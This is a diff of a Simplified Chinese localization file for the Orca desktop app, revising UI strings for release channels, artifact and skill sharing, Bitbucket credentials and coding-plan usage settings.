-          "loopbackRecoveryTunnel": "在另一台电脑上打开“共享此电脑”，使用其 Tailscale 或局域网地址为“其他设备”创建链接。如果你通过 SSH 隧道访问，请打开下面的选项。",
+          "differentServerHelp": "此配对链接属于另一台服务器。请在你要重新配对的服务器上创建链接。",
+          "loopbackRecoveryTunnel": "在另一台电脑上打开“共享此电脑”，使用其 Tailscale 或局域网地址为“其他设备”创建链接，如果你通过 SSH 隧道访问，请打开下面的选项",
           "sshTunnelReach": "我通过 SSH 隧道访问此地址",
           "addServerWithTunnel": "通过隧道添加服务器",
           "addServer": "添加服务器",
@@ -11589,106 +11897,106 @@
         },
         "CloudVmSetupGuide": {
           "cardTitle": "Cloud VM",
-          "cardDescription": "根据环境配方为每个工作区创建。",
+          "cardDescription": "根据环境配方为每个工作区创建",
           "setUpRecipes": "设置配方"
         },
         "VoiceMicrophoneSetting": {
           "systemDefault": "系统默认",
           "unavailable": "不可用",
           "label": "麦克风",
-          "accessHint": "允许麦克风访问以列出输入设备。",
+          "accessHint": "允许麦克风访问以列出输入设备",
           "allowAccess": "允许访问",
-          "noMicrophoneFound": "没有找到麦克风。连接一个，然后重试。",
-          "openFailedDetail": "无法打开麦克风。 {{value0}}",
-          "openFailed": "无法打开麦克风。",
-          "openedSystemSettings": "打开 macOS 隐私和安全。授予麦克风访问权限，然后重试。",
-          "permissionDenied": "麦克风访问被阻止。在您的系统设置中授予它，然后重试。"
+          "noMicrophoneFound": "未找到麦克风，请连接麦克风后重试",
+          "openFailedDetail": "无法打开麦克风，{{value0}}",
+          "openFailed": "无法打开麦克风",
+          "openedSystemSettings": "已打开 macOS“隐私与安全性”设置，请授予麦克风访问权限后重试",
+          "permissionDenied": "麦克风访问被阻止，请在系统设置中授予权限后重试"
         },
         "GlobalWorktreeVisibilitySourcesSetting": {
-          "saveFailed": "无法保存可见性默认设置。",
-          "updateServer": "请更新此服务器以配置来源默认设置。",
-          "updateServerDefaults": "请更新此服务器以配置可见性默认设置。"
+          "saveFailed": "无法保存可见性默认值",
+          "updateServer": "更新此服务器以配置源默认值",
+          "updateServerDefaults": "更新此服务器以配置可见性默认值"
         },
         "QuickCommandsList": {
-          "noSearchMatches": "没有命令与此搜索匹配。"
+          "noSearchMatches": "没有命令与此搜索匹配"
         },
         "QuickCommandsToolbar": {
           "searchLabel": "搜索命令"
         },
         "TerminalAdvancedTypographyControls": {
-          "0e0d1ee15a": "独立于字体粗细进行调整。某些字体会将多个值映射到一个面，因此如果粗体看起来没有变化，请降低字体粗细或选择另一种字体。",
+          "0e0d1ee15a": "独立于字重进行调整，某些字体将多个值映射到一个字面，因此如果粗体看起来没有变化，请降低字重或选择其他字体",
           "f40f6ef17c": "粗体字体粗细"
         },
         "BrowserTerminalLinkActionsSetting": {
-          "title": "终端 URL 点击次数",
-          "descriptionV2": "控制点击终端窗格和聊天记录中打印的已检测的 URL。",
-          "plainClickLabel": "简单的点击",
-          "plainClickDescription": "选择左键单击是显示操作、打开 URL 还是将其留给终端。 Cmd/Ctrl-单击始终直接打开。",
-          "plainClickAriaLabel": "普通点击 URL 行为",
+          "title": "显示链接操作",
+          "descriptionV2": "控制如何点击终端窗格和聊天记录中检测到的网址",
+          "plainClickLabel": "单击",
+          "plainClickDescription": "选择左键单击时显示操作、打开网址，还是交由终端处理，Cmd/Ctrl+单击始终会直接打开",
+          "plainClickAriaLabel": "单击网址时的行为",
           "middleClickLabel": "中键单击",
-          "middleClickDescription": "选择鼠标滚轮单击对已检测的终端 URL 执行的操作。",
+          "middleClickDescription": "选择鼠标滚轮单击检测到的终端网址时执行的操作",
           "middleClickAriaLabel": "中键单击",
           "actionsLabel": "操作",
           "openUrlLabel": "打开网址",
-          "leaveToTerminalLabel": "交给终端"
+          "leaveToTerminalLabel": "交由终端处理"
         },
         "ReleaseChannelSection": {
-          "switchFailed": "无法切换到该版本。",
-          "title": "发布渠道",
-          "description": "切换更新渠道，或切换到任意已发布的版本，包括旧版本。支持降级，未经验证的版本可能无法正常运行。",
-          "devOnly": "仅限开发",
-          "channelAriaLabel": "更新渠道",
-          "hourlyWarning": "每小时版本直接从主分支发布，不经过测试检查，且 Windows 版本未签名。建议保留一个稳定版以备使用。",
-          "dailyWarning": "每日版本直接从主分支发布，不经过测试检查，且 Windows 版本未签名。建议保留一个稳定版以备使用。",
-          "adhocWarning": "Adhoc 版本来自尚未合并的分支，且 Windows 版本未签名。发布者可能不再维护该版本，建议保留一个稳定版以备使用。",
-          "loadingBuilds": "正在加载版本…",
-          "noBuilds": "未找到任何版本",
+          "switchFailed": "无法切换到该构建",
+          "title": "发布通道",
+          "description": "切换更新通道，或跳到任意已发布构建(包括旧版)，允许降级，未经审查的构建可能损坏",
+          "devOnly": "仅开发",
+          "channelAriaLabel": "更新通道",
+          "hourlyWarning": "Hourly 构建仅限 macOS，直接从 main 发布且无测试门禁，请保留一个稳定构建",
+          "dailyWarning": "Daily 构建仅限 macOS，直接从 main 发布且无测试门禁，请保留一个稳定构建",
+          "adhocWarning": "Adhoc 构建仅限 macOS，来自尚未合入的分支，发布者可能随时弃用 — 请保留一个稳定构建",
+          "loadingBuilds": "正在加载构建…",
+          "noBuilds": "未找到构建",
           "refresh": "刷新版本列表",
-          "cacheHint": "版本列表缓存 5 分钟。刷新可查看是否有新版本。",
-          "switchTo": "切换到此版本",
-          "alreadyRunning": "您当前正在使用此版本。",
+          "cacheHint": "构建列表会缓存 5 分钟，刷新以检查新构建",
+          "switchTo": "切换到此构建",
+          "alreadyRunning": "这是你当前运行的构建",
           "willSwitch": "{{value0}} → {{value1}}",
-          "webUnavailable": "仅桌面应用支持切换版本。",
-          "devChannelUnsupportedAria": "{{value0}}（仅 {{value1}}）",
-          "devChannelUnsupported": "{{value0}} 版本仅适用于 {{value1}}。Linux 仅支持 Stable 或 RC 版本。",
+          "webUnavailable": "切换构建仅在桌面应用中可用",
+          "devChannelUnsupportedAria": "{{value0}}（仅限 {{value1}}）",
+          "devChannelUnsupported": "{{value0}} 构建仅针对 {{value1}} 产出，Linux 仍使用 Stable 或 RC",
           "downloadInstaller": "下载安装程序",
-          "manualInstallHint": "{{value0}} 版本在 Windows 上未签名，应用内更新程序无法将其安装到已签名的版本之上。请先运行一次下载的安装程序，Windows 会提示发布者未知。安装后即可在此切换版本，包括切回稳定版。"
+          "manualInstallHint": "{{value0}} 版本在 Windows 上未签名，因此应用内更新程序无法用它覆盖已签名版本，请手动运行一次下载的安装程序——Windows 会显示未知发布者警告——之后的每次切换（包括切回稳定版）都可以在此完成"
         },
         "TerminalTccAttributionNotice": {
-          "body": "终端守护进程是由不再存在的 Orca 安装启动的，因此 macOS 无法将其命令归因于 Orca — 可访问性和自动化授权将被静默忽略（osascript 失败并出现错误 -25211）。重新启动守护进程可以解决此问题；正在运行的终端会话将关闭。",
-          "title": "macOS 权限授予未到达终端",
+          "body": "终端守护进程由已卸载的 Orca 启动，macOS 无法正确归因权限，重启守护进程可修复(运行中会话会关闭)",
+          "title": "macOS 权限授权未到达终端",
           "63b8513f1e": "打开管理会话"
         },
         "artifacts": {
           "signIn": "登录 Orca",
-          "title": "工件",
-          "description": "与您的团队共享 HTML 和 Markdown 文件并管理他们的公共链接。",
-          "howToTitle": "如何使用神器",
-          "howToDescription": "将 HTML 或 Markdown 文件发布为公共链接，然后与您的团队共享。",
-          "shareStepTitle": "选择要共享的文件",
-          "shareStepDescription": "打开 HTML 或 Markdown 文件并选择共享为工件，或要求智能体共享它。",
-          "linkStepTitle": "复制公共链接",
-          "linkStepDescription": "发布后，复制链接并将其发送给您的团队。",
-          "manageStepTitle": "在 Orca 中管理它",
-          "manageStepDescription": "从侧边栏打开工件以预览或删除链接。",
-          "showButtonDescription": "在侧边栏中显示 Artifacts 快捷方式。",
-          "openArtifactsDescriptionV2": "预览、复制和管理通过您的帐户共享的链接。",
-          "signInTitle": "登录以共享工件",
-          "signInDescription": "使用您的 Orca 帐户上传工件并管理其公共链接。",
+          "title": "产物",
+          "description": "与团队分享 HTML 和 Markdown 文件，并管理其公开链接",
+          "howToTitle": "如何使用产物",
+          "howToDescription": "将 HTML 或 Markdown 文件发布为公开链接，然后分享给团队",
+          "shareStepTitle": "选择要分享的文件",
+          "shareStepDescription": "打开 HTML 或 Markdown 文件并选择分享为产物，或让代理分享",
+          "linkStepTitle": "复制公开链接",
+          "linkStepDescription": "发布后，复制链接并发送给团队",
+          "manageStepTitle": "在 Orca 中管理",
+          "manageStepDescription": "从侧边栏打开产物以预览或移除链接",
+          "showButtonDescription": "在侧边栏显示产物快捷入口",
+          "openArtifactsDescriptionV2": "预览、复制并管理通过账户分享的链接",
+          "signInTitle": "登录以分享产物",
+          "signInDescription": "使用 Orca 账户上传产物并管理其公开链接",
           "signInAgain": "重新登录",
-          "enableStepTitle": "启用工件共享",
-          "enableStepWebDescription": "在主机设备上的 Orca 桌面应用程序中打开设置 → 工件并启用发布。",
-          "enableStepDescription": "打开上面的“允许发布公共工件链接”。",
-          "allowPublishing": "允许发布公共工件链接",
-          "allowPublishingWebDescription": "仅限桌面。打开主机设备上的设置 → 工件以更改此设置。",
-          "allowPublishingDescription": "将 HTML 和 Markdown 文件发布为任何知道 URL 的人都可以打开的链接。现有链接将保留，直到您从工件中将其删除。",
-          "howToDescriptionDisabled": "启用上面的工件共享以将 HTML 或 Markdown 文件发布为公共链接。",
-          "allowPublishingSearchDescription": "允许 Orca 将 HTML 和 Markdown 文件发布为公共链接。",
-          "keywordArtifacts": "工件",
+          "enableStepTitle": "启用产物分享",
+          "enableStepWebDescription": "在主机设备的 Orca 桌面应用中打开 设置 → 产物并启用发布",
+          "enableStepDescription": "打开上方的“允许发布公开产物链接”",
+          "allowPublishing": "允许发布公开产物链接",
+          "allowPublishingWebDescription": "仅桌面端，请在主机设备上打开 设置 → 产物以更改此设置",
+          "allowPublishingDescription": "将 HTML 和 Markdown 文件发布为公开链接，任何持有链接的人都可以打开，现有链接会一直有效，直到你在产物页面中将其删除",
+          "howToDescriptionDisabled": "在上方启用产物分享，以将 HTML 或 Markdown 文件发布为公开链接",
+          "allowPublishingSearchDescription": "允许 Orca 将 HTML 和 Markdown 文件发布为公开链接",
+          "keywordArtifacts": "产物",
           "keywordShare": "分享",
           "keywordPublish": "发布",
-          "keywordPublic": "民众",
-          "keywordPermission": "允许",
+          "keywordPublic": "公开",
+          "keywordPermission": "权限",
           "keywordHtml": "超文本标记语言",
           "keywordMarkdown": "Markdown",
           "keywordUpload": "上传",
@@ -11697,94 +12005,94 @@
         },
         "orcaAccount": {
           "connected": "已连接",
-          "reconnectRequired": "您的会话已过期。重新登录即可使用云功能。",
-          "unavailable": "Orca 登录在此版本中不可用。",
-          "signedOut": "登录以使用云功能扩展 Orca，包括 Artifacts 和 Orca Relay。",
-          "checking": "检查帐户状态...",
+          "reconnectRequired": "会话已过期，请重新登录以使用云功能",
+          "unavailable": "此构建不支持 Orca 登录",
+          "signedOut": "登录以启用 Orca 云功能，包括产物和 Orca Relay",
+          "checking": "正在检查账户状态…",
           "account": "Orca 账户",
-          "signOut": "登出",
+          "signOut": "退出登录",
           "signInAgain": "重新登录",
           "signIn": "登录 Orca",
           "title": "Orca 账户",
-          "description": "无论您身在何处，都可以立即共享工作并通过 Orca Mobile 访问您的桌面。",
-          "searchDescription": "登录或退出 Artifacts 和 Orca Relay 使用的帐户。",
-          "benefitsTitle": "包含在您的帐户中",
-          "artifactsTitle": "神器分享",
-          "artifactsDescription": "发布 HTML 和 Markdown 文件，然后管理 Orca 中的每个共享链接。",
+          "description": "即时分享工作，并随时通过 Orca Mobile 访问桌面",
+          "searchDescription": "登录或退出产物和 Orca Relay 使用的账户",
+          "benefitsTitle": "账户已包含",
+          "artifactsTitle": "产物分享",
+          "artifactsDescription": "发布 HTML 和 Markdown 文件，然后在 Orca 中管理所有分享链接",
           "relayTitle": "Orca Relay",
-          "relayDescription": "通过蜂窝网络或任何 Wi-Fi 将 Orca Mobile 连接到此桌面。",
+          "relayDescription": "通过蜂窝网络或任意 Wi-Fi 将 Orca Mobile 连接到此桌面",
           "skillsTitle": "技能分享",
-          "skillsDescription": "在未列出的链接后面共享一项技能或一整套技能，并将它们安装在您使用的任何计算机上。",
-          "keywordAccount": "帐户",
+          "skillsDescription": "通过非公开链接分享单个技能或整套技能，并在你使用的任何设备上安装",
+          "keywordAccount": "账户",
           "keywordLogin": "登录",
-          "keywordLogout": "注销",
-          "keywordSignIn": "登入",
-          "keywordSignOut": "登出",
+          "keywordLogout": "退出登录",
+          "keywordSignIn": "登录",
+          "keywordSignOut": "退出登录",
           "keywordRelay": "中继",
           "keywordCloud": "云"
         },
         "automations": {
-          "showButtonDescription": "在侧边栏中显示自动化快捷方式。",
+          "showButtonDescription": "在侧边栏显示自动化快捷入口",
           "howItWorksTitle": "自动化如何工作",
-          "howItWorksDescription": "安排智能体工作一次，然后让 Orca 创建每次运行并将其结果保存在一起。",
+          "howItWorksDescription": "安排一次代理工作，随后由 Orca 创建每次运行并集中保存结果",
           "defineStepTitle": "描述工作",
-          "defineStepDescription": "选择项目、智能体、提示和时间表。",
-          "runStepTitle": "Orca 会启动每次运行",
-          "runStepDescription": "当时间表到期时，选定的智能体将获得一个新的工作区。",
-          "reviewStepTitle": "查看结果",
-          "reviewStepDescription": "检查最近的运行并在需要时继续工作。",
-          "openAutomationsDescription": "创建时间表并检查最近的运行。",
+          "defineStepDescription": "选择项目、代理、提示和计划",
+          "runStepTitle": "Orca 启动每次运行",
+          "runStepDescription": "计划到期时，所选代理会获得一个新工作区",
+          "reviewStepTitle": "评审结果",
+          "reviewStepDescription": "查看最近运行，并在需要时继续工作",
+          "openAutomationsDescription": "创建计划并查看最近运行",
           "title": "自动化",
-          "description": "安排智能体工作并选择自动化是否显示在侧栏中。",
+          "description": "安排代理工作，并选择是否在侧边栏显示自动化",
           "keywordAutomations": "自动化",
-          "keywordSchedule": "日程",
-          "keywordAgent": "智能体",
+          "keywordSchedule": "计划",
+          "keywordAgent": "代理",
           "keywordRuns": "运行",
           "d92f253d2d": "显示自动化按钮",
           "9cb6e73d53": "开放式自动化"
         },
         "shareSkills": {
-          "description": "通过未列出的链接分享您的技能。任何拥有它的人都可以安装它们。",
-          "allowAgentPublishing": "允许智能体和 Orca CLI 发布技能链接",
-          "allowAgentPublishingDescription": "让命令发布明确命名的已安装技能。技能文件夹可以包含脚本、配置或机密，因此默认情况下此功能处于关闭状态。",
-          "allowAgentPublishingWebDescription": "仅限桌面。在主机设备上打开“设置”→“共享技能”以更改此设置。",
-          "selectTitle": "选择一项或多项技能",
-          "selectDescription": "打开技能，选择共享技能，然后选择要打包到一个链接中的技能。",
-          "reviewTitle": "审核并发布",
-          "reviewDescription": "在上传不可变包之前检查包含的文件、脚本和可执行文件。",
-          "copyTitle": "复制未列出的链接",
-          "copyDescription": "知道该链接的任何人都可以在不登录的情况下检查并安装所有或选定的技能。",
+          "description": "通过非公开链接分享技能，任何拥有链接的人都可以安装",
+          "allowAgentPublishing": "允许代理和 Orca CLI 发布技能链接",
+          "allowAgentPublishingDescription": "允许命令发布明确指定的已安装技能，技能文件夹可能包含脚本、配置或密钥，因此默认关闭",
+          "allowAgentPublishingWebDescription": "仅限桌面端，请在主机设备上打开\"设置 → 分享技能\"更改此设置",
+          "selectTitle": "选择一个或多个技能",
+          "selectDescription": "打开\"技能\"，选择\"分享技能\"，然后选择要通过同一链接打包的技能",
+          "reviewTitle": "检查并发布",
+          "reviewDescription": "上传不可变的技能包前，请检查其中的文件、脚本和可执行文件",
+          "copyTitle": "复制非公开链接",
+          "copyDescription": "任何拥有链接的人无需登录即可查看并安装全部或所选技能",
           "manageTitle": "管理或撤销链接",
-          "manageDescription": "撤销会阻止将来的访问。已安装在另一台机器上的技能仍保留在那里。",
-          "linkTitle": "未列出的技能链接",
-          "linkDescription": "共享捆绑包无法在 Orca 中搜索或列出。该链接是凭据，因此仅将其发送给您信任的人。",
+          "manageDescription": "撤销链接会阻止后续访问，已安装到其他设备的技能仍会保留",
+          "linkTitle": "非公开技能链接",
+          "linkDescription": "已分享的技能包不会出现在 Orca 的搜索或列表中，链接即为访问凭证，请仅发送给信任的人",
           "signInTitle": "登录以分享技能",
-          "signInWebDescription": "Orca 桌面应用程序提供发布和链接管理。",
-          "signInDescription": "使用您的 Orca 帐户发布捆绑包并管理其链接。收件人不需要帐户。",
+          "signInWebDescription": "请在 Orca 桌面应用中发布和管理链接",
+          "signInDescription": "使用 Orca 账户发布技能包并管理链接，接收者无需账户",
           "signInAgain": "重新登录",
           "signIn": "登录 Orca",
           "howToTitle": "如何分享技能",
-          "howToDescription": "发布一项技能或一组技能，例如在一个链接后面发布 30 项技能的集合。",
-          "openSkillsDescription": "发布捆绑包、从链接安装或管理已安装和共享的技能。",
-          "searchDescription": "通过未列出的链接分享您的技能。任何拥有它的人都可以安装它们。",
-          "linksReconnect": "再次登录以管理共享链接。",
-          "linksUnavailable": "共享链接目前不可用。",
+          "howToDescription": "通过一个链接发布单个技能或包含多个技能的技能包",
+          "openSkillsDescription": "发布技能包、从链接安装，或管理已安装和已分享的技能",
+          "searchDescription": "通过非公开链接分享技能，任何拥有链接的人都可以安装",
+          "linksReconnect": "请重新登录以管理分享链接",
+          "linksUnavailable": "分享链接当前不可用",
           "linkCopied": "分享链接已复制",
           "linkRevoked": "链接已撤销",
-          "revokeFailed": "Orca 无法撤销此链接。",
-          "activeLinks": "活跃的共享链接",
-          "activeLinksDescription": "只有知道链接的人才能打开它。取消共享链接以阻止将来的检查和安装。",
-          "noActiveLinks": "没有活动链接。从技能中发布技能包以创建技能包。",
+          "revokeFailed": "Orca 无法撤销此链接，",
+          "activeLinks": "有效的分享链接",
+          "activeLinksDescription": "只有拥有链接的人才能打开，取消分享可阻止后续查看和安装",
+          "noActiveLinks": "没有有效链接，请从\"技能\"中发布技能包以创建链接",
           "copyLink": "复制链接",
-          "confirmUnshare": "确认取消共享",
+          "confirmUnshare": "确认取消分享",
           "unshare": "取消分享",
-          "showButton": "显示技能按钮",
-          "showButtonDescription": "在侧边栏中显示技能快捷方式。",
+          "showButton": "显示\"技能\"按钮",
+          "showButtonDescription": "在侧边栏显示\"技能\"快捷入口",
           "keywordSkills": "技能",
           "keywordShare": "分享",
-          "keywordBundle": "捆",
-          "keywordLink": "关联",
-          "keywordUnlisted": "未上市的",
+          "keywordBundle": "技能包",
+          "keywordLink": "链接",
+          "keywordUnlisted": "非公开",
           "keywordRevoke": "撤销",
           "ca754fefa1": "分享技能",
           "57e360b791": "管理技能",
@@ -11795,22 +12103,22 @@
             "dialog": {
               "connectFailed": "连接失败",
               "title": "连接 Bitbucket",
-              "description": "使用 Bitbucket Cloud 凭证浏览拉取请求和构建状态。 Orca 在保存之前会对其进行验证。",
-              "remoteRuntime": "存储在此计算机上，而不是当前的远程运行时中——请改为在远程运行时上设置 ORCA_BITBUCKET_*。环境变量始终优先于此处保存的内容。",
-              "environmentManaged": "Bitbucket 已通过 ORCA_BITBUCKET_* 环境变量进行配置，该环境变量优先。取消设置以在 Orca 中保存凭证。",
+              "description": "使用 Bitbucket Cloud 凭证浏览拉取请求和构建状态，Orca 在保存之前会对其进行验证",
+              "remoteRuntime": "存储在此计算机上，而不是当前的远程运行时中——请改为在远程运行时上设置 ORCA_BITBUCKET_*。环境变量始终优先于此处保存的内容",
+              "environmentManaged": "Bitbucket 已通过 ORCA_BITBUCKET_* 环境变量进行配置，该环境变量优先，取消设置以在 Orca 中保存凭证",
               "authModeLabel": "Bitbucket 认证方法",
               "modeBasic": "电子邮件和 API 令牌",
               "modeToken": "访问令牌",
               "accessToken": "访问令牌",
-              "accessTokenPlaceholder": "仓库、项目或工作区访问令牌",
+              "accessTokenPlaceholder": "存储库、项目或工作区访问令牌",
               "email": "Atlassian 帐户电子邮件",
               "emailPlaceholder": "你@example.com",
               "apiToken": "API令牌",
               "apiTokenPlaceholder": "Atlassian API 令牌",
               "baseUrl": "API 基本 URL（可选）",
               "baseUrlPlaceholder": "https://api.bitbucket.org/2.0",
-              "tokenHint": "仓库、项目和工作区访问令牌是从匹配的 Bitbucket 设置页面创建的，并且需要读取访问拉取请求的权限。",
-              "basicHint": "为您的帐户创建 Atlassian API 令牌，然后将其与拥有它的电子邮件地址配对。",
+              "tokenHint": "存储库、项目和工作区访问令牌是从匹配的 Bitbucket 设置页面创建的，并且需要读取访问拉取请求的权限",
+              "basicHint": "为您的帐户创建 Atlassian API 令牌，然后将其与拥有它的电子邮件地址配对",
               "scopesTitle": "请选择以下 Bitbucket API 令牌范围：",
               "scopeUser": "验证您的帐户",
               "scopeRepository": "读取构建状态",
@@ -11818,7 +12126,7 @@
               "scopeWritePullRequest": "创建拉取请求",
               "scopesWriteNote": "如仅需只读访问，请省略写入范围。写入不包含读取；请分别选择每个范围。",
               "docsLink": "Bitbucket API 令牌文档",
-              "storageNote": "当操作系统钥匙串可用时，通过加密存储存储在本计算机上。 ORCA_BITBUCKET_* 环境变量始终优先于您在此处保存的内容。",
+              "storageNote": "当操作系统钥匙串可用时，通过加密存储存储在本计算机上，ORCA_BITBUCKET_* 环境变量始终优先于您在此处保存的内容",
               "cancel": "取消",
               "verifying": "正在验证...",
               "connect": "连接"
@@ -11826,19 +12134,19 @@
           },
           "integration": {
             "card": {
-              "description": "Bitbucket Cloud 的拉取请求和构建状态。",
+              "description": "Bitbucket Cloud 的拉取请求和构建状态",
               "edit": "编辑凭据",
               "connect": "连接",
-              "accountUnknown": "Bitbucket Cloud",
+              "accountUnknown": "比特桶云",
               "authModeToken": "访问令牌",
               "authModeBasic": "电子邮件和 API 令牌",
               "disconnect": "断开 Bitbucket 连接",
-              "envManaged": "通过环境变量配置。取消设置 ORCA_BITBUCKET_* 变量以在 Orca 中管理此凭证。",
-              "storedAuthFailed": "保存的 Bitbucket 凭据无法进行身份验证。编辑它，或检查令牌是否仍然具有拉取请求访问权限。",
-              "storedCredential": "保存在本机上的 Orca 中。 ORCA_BITBUCKET_* 环境变量在设置时优先。",
-              "notConfigured": "将 Bitbucket Cloud 帐户与 Atlassian API 令牌或访问令牌连接。 ORCA_BITBUCKET_* 环境变量也起作用并且优先。",
-              "disconnectFailed": "无法删除保存的 Bitbucket 凭据。",
-              "statusLoadFailed": "无法检查已保存的 Bitbucket 凭据。",
+              "envManaged": "通过环境变量配置，取消设置 ORCA_BITBUCKET_* 变量以在 Orca 中管理此凭证",
+              "storedAuthFailed": "保存的 Bitbucket 凭据无法进行身份验证，编辑它，或检查令牌是否仍然具有拉取请求访问权限",
+              "storedCredential": "保存在本机上的 Orca 中，ORCA_BITBUCKET_* 环境变量在设置时优先",
+              "notConfigured": "将 Bitbucket Cloud 帐户与 Atlassian API 令牌或访问令牌连接，ORCA_BITBUCKET_* 环境变量也起作用并且优先",
+              "disconnectFailed": "无法删除保存的 Bitbucket 凭据",
+              "statusLoadFailed": "无法检查是否保存了 Bitbucket 凭据",
               "replaceCredentials": "添加或替换凭据",
               "credentialName": "您的 Bitbucket 凭证"
             }
@@ -11846,58 +12154,58 @@
         },
         "EphemeralVmCleanupStopDialog": {
           "title": "停止清理？",
-          "description": "VM 可能会继续运行并产生费用。您可以稍后重试清理。",
-          "cancel": "保持清洁",
-          "stopping": "停止…",
+          "description": "虚拟机可能保持运行并产生费用，您可以稍后重试清理",
+          "cancel": "继续清理",
+          "stopping": "正在停止…",
           "confirm": "停止清理"
         },
         "contrast": {
-          "description": "提高文本可读性或保留终端程序选择的颜色。",
-          "ratio": "对比目标",
-          "autoDescription": "兼顾可读性与终端主题。推荐使用。",
-          "offDescription": "保持程序颜色不变，包括暗淡文本和电力线分隔符。",
-          "customDescription": "选择文本与其背景之间对比度的增加程度。",
-          "auto": "自动的",
+          "description": "提高文本可读性，或保留终端程序设置的颜色",
+          "ratio": "目标对比度",
+          "autoDescription": "兼顾可读性与终端主题，推荐使用",
+          "offDescription": "保持程序颜色不变，包括暗淡文本和 Powerline 分隔符",
+          "customDescription": "选择文本与背景之间的对比度提升幅度",
+          "auto": "自动",
           "off": "关闭",
           "custom": "自定义",
-          "targetDescription": "较高的值会尽可能增加对比度。背景颜色保持不变。",
-          "subtle": "微妙的",
-          "strong": "强的",
+          "targetDescription": "数值越高，在条件允许时提升的对比度越大，背景颜色保持不变",
+          "subtle": "柔和",
+          "strong": "强烈",
           "aa914efccf": "色彩对比"
         },
         "TerminalRenderingSection": {
-          "fffab5890b": "使用 SIXEL、iTerm2 (IIP) 和 Kitty 图形协议直接在终端中显示图像。",
+          "fffab5890b": "使用 SIXEL、iTerm2（IIP）和 Kitty 图形协议直接在终端中显示图片",
           "08db7947d8": "内嵌图像"
         },
         "CursorAccountsSection": {
           "dashboardLink": "Cursor 仪表盘",
-          "expired": "登录已过期 — 请在运行 Orca 的电脑上执行 cursor-agent login，然后点击“刷新用量”。",
+          "expired": "登录已过期 — 请在运行 Orca 的电脑上执行 cursor-agent login，然后点击“刷新用量”",
           "loading": "加载中…",
-          "noAllowance": "Cursor 报告此账号没有可用额度。",
+          "noAllowance": "Cursor 报告此账号没有可用额度",
           "planTotal": "套餐",
           "refreshUsage": "刷新用量",
           "resets": "{{when}}重置",
           "signedIn": "已登录",
-          "signedInFrom": "已登录。Orca 读取存储在{{source}}中的会话。",
-          "signedInGeneric": "已登录。Orca 读取存储在此电脑上的 Cursor 会话。",
+          "signedInFrom": "已登录，Orca 读取存储在{{source}}中的会话",
+          "signedInGeneric": "已登录，Orca 读取存储在此电脑上的 Cursor 会话",
           "signedOut": "在此电脑上未找到 Cursor 登录",
-          "signedOutHelp": "请使用 Cursor IDE 登录，或在终端中运行 cursor-agent login，然后在此点击“刷新用量”。",
+          "signedOutHelp": "请使用 Cursor IDE 登录，或在终端中运行 cursor-agent login，然后在此点击“刷新用量”",
           "source": {
             "cli": "Cursor CLI 认证文件",
             "desktop": "Cursor IDE",
             "keychain": "macOS 钥匙串（cursor-agent）"
           },
           "staleUsage": "上次已知用量 — 最近一次刷新失败：{{reason}}",
-          "subtitle": "显示来自此电脑上已有登录的 Cursor 套餐用量。Orca 仅读取，不会更改您的 Cursor 登录。",
+          "subtitle": "显示来自此电脑上已有登录的 Cursor 套餐用量。Orca 仅读取，不会更改您的 Cursor 登录",
           "title": "Cursor",
-          "usageDescription": "Cursor 按两个随账单周期重置的额度池计费，用完后按需计费。",
+          "usageDescription": "Cursor 按两个随账单周期重置的额度池计费，用完后按需计费",
           "usageLabel": "用量",
           "usageTitle": "套餐用量"
         },
         "ZcodeCliSetupSection": {
           "title": "通过 ZCode 使用 GLM",
-          "description": "登录后即可将 GLM 用作编程智能体。上方的配额 API 密钥仅用于监控用量；ZCode 自行管理登录和模型选择。",
-          "help": "选择对应套餐站点的浏览器登录，或使用 ZCode 的隐藏输入 API 密钥设置。登录后，启动 ZCode 并使用 /model 选择 GLM 模型。",
+          "description": "登录后即可将 GLM 用作编程代理，上方的配额 API 密钥仅用于监控用量，ZCode 自行管理登录和模型选择",
+          "help": "选择对应套餐站点的浏览器登录，或使用 ZCode 的隐藏输入 API 密钥设置，登录后，启动 ZCode 并使用 /model 选择 GLM 模型",
           "zai": "Z.AI 浏览器登录",
           "bigmodel": "BigModel 浏览器登录",
           "apiKey": "ZCode API 密钥设置",
@@ -11905,8 +12213,8 @@
           "loading": "正在加载登录终端…",
           "terminalTitle": "ZCode 登录",
           "terminalLabel": "ZCode 登录终端",
-          "apiKeyInstructions": "按 Enter 启动 ZCode，然后输入 /login 并选择套餐站点的 API 密钥选项。在 ZCode 的隐藏输入提示中输入密钥。",
-          "oauthInstructions": "按 Enter 运行登录命令，然后打开 ZCode 输出的授权网址。登录信息保存在此终端的执行主机上。"
+          "apiKeyInstructions": "按 Enter 启动 ZCode，然后输入 /login 并选择套餐站点的 API 密钥选项，在 ZCode 的隐藏输入提示中输入密钥",
+          "oauthInstructions": "按 Enter 运行登录命令，然后打开 ZCode 输出的授权网址，登录信息保存在此终端的执行主机上"
         },
         "ZcodePlanAccountsSection": {
           "site": {
@@ -11919,50 +12227,50 @@
             "mcp": "MCP 月度"
           },
           "resetIn": " — {{value0}}后重置",
-          "keySaved": "GLM Coding Plan API key 已保存。",
-          "keySaveFailed": "GLM Coding Plan 凭据更新失败。",
+          "keySaved": "GLM Coding Plan API key 已保存",
+          "keySaveFailed": "GLM Coding Plan 凭据更新失败",
           "title": "GLM Coding Plan",
-          "subtitle": "在状态栏追踪 Z.AI 或智谱（BigModel）GLM Coding Plan 用量。在此保存套餐 API key，无需安装 ZCode CLI。",
+          "subtitle": "在状态栏追踪 Z.AI 或智谱（BigModel）GLM Coding Plan 用量，在此保存套餐 API key，无需安装 ZCode CLI",
           "consoleLink": "获取 API key",
           "keyStored": "API key 已保存 · {{value0}}",
-          "keyStoredHelp": "仅保存在本地，并只发送到所选站点用于用量刷新。优先级高于 ZCode CLI 登录。",
+          "keyStoredHelp": "仅保存在本地，并只发送到所选站点用于用量刷新，优先级高于 ZCode CLI 登录",
           "usingCli": "正在使用 ZCode CLI 登录",
-          "usingCliHelp": "Orca 会从此电脑上的 ZCode CLI 凭据存储中读取所选编程套餐。您也可以在下方保存 API 密钥以直接关联套餐。",
+          "usingCliHelp": "Orca 会从此电脑上的 ZCode CLI 凭据存储中读取所选编程套餐，您也可以在下方保存 API 密钥以直接关联套餐",
           "notConfigured": "尚未关联 GLM Coding Plan",
-          "notConfiguredHelp": "在下方保存套餐 API key，或在这台电脑上通过 ZCode CLI 登录。",
+          "notConfiguredHelp": "在下方保存套餐 API key，或在这台电脑上通过 ZCode CLI 登录",
           "refreshUsage": "刷新用量",
           "siteTitle": "套餐站点",
-          "siteDescription": "选择你的 Coding Plan 所属控制台：国际站选 Z.AI，国内站选智谱 BigModel。",
